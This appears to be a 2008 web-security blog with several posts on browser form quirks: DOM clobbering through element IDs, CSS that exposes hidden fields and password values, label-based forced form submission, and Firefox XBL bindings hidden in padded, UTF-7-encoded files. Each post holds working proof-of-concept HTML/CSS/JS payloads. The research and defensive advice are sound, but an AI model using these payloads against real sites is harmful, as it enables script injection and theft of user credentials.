Showing posts with label form. Show all posts
Showing posts with label form. Show all posts

November 12, 2008

HTML Form Controls reviewed

Intro

Inspired by a post by John Resig about conflicts between HTML element IDs and DOM properties/JavaScript variables I started to think about related techniques that would lead to security risks or even vulnerabilities. Garrett Smith and Frank Manno also crafted an excellent writeup about this topic and related problems if you prefer a deeper introduction into form controls and unsafe names. And guess who copied this feature from whom?

Some Code

Let's have a short look at what we are talking about here. First we have a bunch of markup - a simple form. Notice the IDs the elements have.

<form id="a">
<input id="b" />
</form>

It's now possible to access the elements directly with window.a and window.b - or just a or b. We can also traverse through a to get b with a.b. The traversal only works for elements which make their child elements accessible via a numeric index - this being basically forms and their input elements. You can do the same with name attributes of images and forms but only in the document scope - we won't touch that aspect here.

But what if the form elements have IDs like location and href? Theoretically they should be accessible via location.href - generating a severe conflict with an already existing and pretty important DOM property.

<form id="location">
<input id="href">
</form>

Opera, Firefox, Gecko and Safari know how to deal with attempts like these. Most of the really interesting DOM properties are protected from being touched via form controls - such as navigator, window, document, location etc. But actually it's possible to overwrite a lot of DOM properties like the following example shows.

<form id="a">
<button id="length">0</button>
<button id="style">1</button>
<button id="id">2</button>
<button id="className">3</button>
<button id="baseURI">4</button>
<button id="textContent">5</button>
<button id="innerHTML">6</button>
<button id="title">7</button>
<button id="elements">8</button>
<button id="method">9</button>
</form>

The element with the ID id can now be accessed via id. Or a.id - since it resides in a's properties too. We can also set variables - for example via var b = id.id - which in this case would be id. The next example tries to be less confusing and shows how window.lang can be overwritten and then have it's vale being executed by a single assignment. There's no reason why someone would write code like that but it works.

<a id="url" href="javascript:alert(1)">
<script>
location=url;
</script>

Conclusion already?

Altogether this thing doesn't seem to be very interesting from a security point of view. The juicy properties can't be overwritten, an attacker has to be able to inject form elements with IDs - most WYSIWYG implementations allow that by the way. What makes the issue even more boring is the fact that if the variable has already been set before the markup is being parsed, it won't get reset by the injected HTML elements.

But - maybe you noticed one important browser missing on the above mentioned list. The Internet Explorer of course. IE6 up to IE8 Beta 2 don't care if properties like location or document shouldn't be set via markup and IDs. So - incredible but true - the following code works perfectly in all tested IE versions.

<form id="document" cookie="foo">
<script>alert(document.cookie)</script>

Or:

<form id="location" href="bar">
<script>alert(location.href)</script>

It's also possible to interfere with really important variables like document.cookie, document.body.innerHTML and almost all others I tested. The technique doesn't depend on doctype or apparently other factors to work. Furthermore you can define own attributes and have their value being accessible via traversal - like in the document.cookie example.

<form id="document">
<select id="body">bar</select>
</form>
<script>
alert(document.body.innerHTML)
</script>

Scripts being used on millions of pages like Google Analytics work with those properties and are usually included right before the closing body tag. Depending on the position where the markup containing the malicious attributes and IDs can be injected it's at least possible to influence the JavaScript application flow or in the worst case execute arbitrary code - nested in the HTML attributes. In case an application allows the user to post inactive HTML it's very important to make sure the submitted and to be rendered elements mustn't contain IDs. In some cases it may make sense to initially set the properties with themselves - and therewith blocking them from being overridden by markup.

November 03, 2008

Hidden fields vs. CSS

Intro

A hidden field is supposed to be hidden - invisible for the user as long as he uses an unmodified browser and isn't watching the sources via view-source: or similar. Not to forget the agnostic regarding mouseover, error, load, focus and other events. So for example if an attacker manages to inject content into one of the hidden field's attributes and can't break out the attack window is very small.

Some markup

So it's not very surprising that most user agents treat a hidden field as hidden - no matter what styles have been applied to the element. The following code should thus result in a plain white page without any visible elements or even event handlers waiting for interaction.

<html>
<head>
</head>
<body>
<form action="#">
<input type="hidden" id="hidden" value="secret!" />
</form>
</body>
</html>
<style>
input[type=hidden] {
 display: block;
 height: 100px;
 border: 2px solid red;
}
</style>
<script>
document.getElementById('hidden').onmouseover = function(){
 alert(this.value);
};
</script>

And yes - all browsers show a white page - IE6-8, Chrome, Opera, even Safari. Only Firefox shows a big red bordered bar which responses with an alert when hovered with the cursor. The element can even be selected via CSS pseudo classes.

<html>
<head>
</head>
<body>
<form action="#">
<input type="hidden" id="hidden" value="secret!" />
</form>
</body>
</html>
<style>
input[type=hidden] {
 display: block;
 height: 100px;
 border: 2px solid red;
}
input:hover {
 border: 2px solid green;
}
</style>

Of course it's also possible to extract password field values with that technique

<html>
<head>
<style>
input {
 a:expression(alert(this.value));
}
</style>
</head>
<body>
<form action="#">

<input
 type="password"
 value="secret!"
/>
</form>
</body>
</html>

Opera by the way provides a very special way to extract passwords in clear text - with the :after or :before pseudo classes and the attr() value for the content property.

<html>
<head>
<style>
input[type=password]:after {
 content: attr(value);
}
</style>
</head>
<body>
<form action="#">

<input
 type="password"
 value="secret!"
/>
</form>
</body>
</html>

We are losing track with the password fields - and will be talking about them in a later article anyway so back to the hidden fields.

In IE6-8b2 you can of course inject expression() CSS - but the CSS selector input[type=hidden] doesn't work. So surprisingly it's possible to select just input and filter the hidden fields in the expression statement afterwards with just input as selector.

Conclusion

IE6-8 allow to select hidden input fields with CSS and bind JavaScript code. That's not very nice but possible to coexist with. Firefox on the other hand really shows how not to do it again. Making hidden fields visible with CSS is definitely crossing a border - at least the one between data and presentation.

It's also possible in FF3 to select hidden fields via CSS - be it with input[type="hidden"], input[type^="hid"], input[type$="den"], input[type|="hidden"] or even input[type~="hidden"].

And just by the way - this shouldn't be possible either:

<html>
<body>
<form action="#">
<input type="hidden" id="hidden" value="secret!" />
</form>
</body>
</html>

<label for="hidden">Click</label>
<script>
document.getElementById('hidden').onclick = function(){
  alert(this.value);
};
</script>

November 01, 2008

Formjacking with labels

Intro

Labels for form elements are great - they tell the user what and where to click - and sometimes even why. Good thing too is that a click on a label sets the assigned form element to be focused. Great for them small check boxes - bad for submit buttons. Yes. Submit buttons.

Some Markup

Let's have a look at the following markup:

<html>
<body>
<label for="submit">
Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh
euismod tincidunt ut laoreet dolore magna aliquam erat volutpat. Ut wisi enim ad
minim veniam, quis nostrud exerci tation ullamcorper suscipit lobortis nisl ut
aliquip ex ea commodo consequat. Duis autem vel eum iriure dolor in hendrerit
in vulputate velit esse molestie consequat, vel illum dolore eu feugiat nulla
facilisis at vero et accumsan et iusto odio dignissim qui blandit praesent
luptatum zzril delenit augue duis dolore te feugait nulla facilisi. Lorem ipsum
dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod
tincidunt ut laoreet dolore magna aliquam erat volutpat. Ut wisi enim ad minim
veniam, quis nostrud exerci tation ullamcorper suscipit lobortis nisl ut aliquip
ex ea commodo consequat. Duis autem vel eum iriure dolor in hendrerit in
vulputate velit esse molestie consequat, vel illum dolore eu feugiat nulla
facilisis at vero et accumsan et iusto odio dignissim qui blandit
<form action="test.php" method="post">
  <input tabindex="1" type="text" name="text" value="text" />
  <input tabindex="2" type="password" name="password" value="secret!" />
  <input tabindex="3" type="submit" id="submit" value="Go!" />
</form>

Clicking or even selecting the text above the form elements causes the form to auto-submit - the label gave the submit button the focus which basically means it clicked it. The previous article described what can happen if the attacker controls the styles and does bad things with the :focus selector. Now we see how easy it is to force the user into focusing a certain element.

Again it's Mozilla browsers which are vulnerable (and Safari as well as IE8) - Opera sets a focus on the submit button - but doesn't submit the form afterwards. At least this technique doesn't work for file elements.

But it gets even better. If a link is embedded inside the label and this link is being clicked all browsers but Opera first submit the form and then follow the link.

<html>
<body>
<label for="submit">
Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh

<a href="foo.php">click</a>

vulputate velit esse molestie consequat, vel illum dolore eu feugiat nulla
facilisis at vero et accumsan et iusto odio dignissim qui blandit
<form action="test.php" method="post">
  <input tabindex="1" type="text" name="text" value="text" />
  <input tabindex="2" type="password" name="password" value="secret!" />
  <input tabindex="3" type="submit" id="submit" value="Go!" />
</form>

Same is of course for button tags. And the following code proofs that the user agents actually fire a click towards the element being bound to the label. Not a focus but an actual click.

<html>
<body>
<label for="submit">

Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh
vulputate velit esse molestie consequat, vel illum dolore eu feugiat nulla
facilisis at vero et accumsan et iusto odio dignissim qui blandit

<button onclick="alert(1)" id="submit">click</a>

Conclusion

If users are allowed to post HTML make sure that they can't just add labels. Most HTML filters can be told to strip certain evil tags - label is a stealthy candidate but definitely earns his place inside blacklists - respectively outside white-lists. HTMLPurifier by the way strips labels per default.

Focus and obfuscated binding of death in FF3+

Intro

XBL Bindings in FF2 were fun - since it was no problem to bind external and off-domain resources. Then came FF3 - and disabled off-site XBL usage. This could be circumvented via data URIs - but not for long. Current revisions of FF3 throw a security error when trying that. Attacks based on XBL and poisoned styles seemed to mitigated. But let's have a look what still can be done in most recent FF3 releases.

The Code

Assume the following setup - arbitrary HTML page. The attacker has control over the styles.

<style>
*:focus {
-moz-binding: url(binding.xml.123?123456);
}
</style>
<form action="test.php" method="post">
<input tabindex="1" name="text" value="text" type="text">

<input tabindex="2" name="password" value="secret!" type="password">
<input tabindex="3" id="submit" value="Go!" type="submit">
</form>

The -moz-binding property is set to url(binding.xml.123?123456); - which is an URL not ending with xml - but with a suffix the web server doesn't know to deal with. The xml directly before the .123 is nevertheless very important.

Let's have a look at our .123 file.

<?xml version="1.0"?>
<i>
<can>
<haz>
<padding>
and <slashes> and stuff as long as the "markup" is well formed. kind of.

<bindings xmlns="http://www.mozilla.org/xbl">
<binding id="loader">
<implementation>
<constructor>
<!--[CDATA[document.body.innerHTML=body.innerHTML+('owned: "' + this.value + '"<br />');]]-->

</constructor>
</implementation>
</binding>
</bindings>
<!-- a lot of padding  -->
</slashes></padding></haz></can></i><h1><i>Lorem ipsum dolor sit amet</i></h1><i>

</i><p><i>
Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh
euismod tincidunt ut laoreet dolore magna aliquam erat volutpat. Ut wisi enim ad
minim veniam, quis nostrud exerci tation ullamcorper suscipit lobortis nisl ut
aliquip ex ea commodo consequat. Duis autem vel eum iriure dolor in hendrerit in
vulputate velit esse molestie consequat, vel illum dolore eu feugiat nulla facilisis
at vero et accumsan et iusto odio dignissim qui blandit praesent luptatum zzril
</i></p><i>
<!-- a lot of padding  -->

We see here the tag, some padding, the actual bindings and again a whole bunch of padding. Still the binding works. So - we can chose or filename almost arbitrarily, we can add padding before and after the binding. At least as long we have the xml declaration at the right place.

So - what about playing with the encoding?

<?xml version="1.0" encoding="UTF-7"?>
+ADw-bindings xmlns+AD0AIg-http://www.mozilla.org/xbl+ACIAPg
+ADw-binding id+AD0AIg-loader+ACIAPg
+ADw-implementation+AD4
    +ADw-constructor+AD4
    +ADwAIQBb-CDATA+AFs-document.body.innerHTML+AD0-body.innerHTML+ACs('owned: +ACI' +ACs this.value +ACs '+ACIAPA-br+AD4')+ADsAXQBdAD4
    +ADw-/constructor+AD4
+ADw-/implementation+AD4
+ADw-/binding+AD4
+ADw-/bindings+AD4
+ADwAIQ--- a lot of padding  --+AD4
...

It works - so you can even compose your binding in UTF-7. And best of all - you can have a bunch of UTF-8 or whatever padding before the binding payload. As long as it's well formed the code will executed without any problems.

<?xml version="1.0" encoding="UTF-7"?>
<i>
<can>
<haz>
<padding>
and <slashes> and stuff as long as the "markup" is well formed. kind of.

+ADw-bindings xmlns+AD0AIg-http://www.mozilla.org/xbl+ACIAPg
+ADw-binding id+AD0AIg-loader+ACIAPg
+ADw-implementation+AD4
+ADw-constructor+AD4
+ADwAIQBb-CDATA+AFs-document.body.innerHTML+AD0-body.innerHTML+ACs('owned: +ACI' +ACs this.value +ACs '+ACIAPA-br+AD4')+ADsAXQBdAD4
+ADw-/constructor+AD4
+ADw-/implementation+AD4
+ADw-/binding+AD4
+ADw-/bindings+AD4
+ADwAIQ--- a lot of padding  --+AD4
...

Conclusion

It shouldn't be too hard to get a web app to either accept file uploads leading to this issue or fulfill one of the other requirements - although it's no every day scenario. Also the code should show how dangerous it is allowing a user to customize the sites styles. :focus can easily be exploited on IE too with expression() - even it that feature won't exist in IE8 standards mode anymore.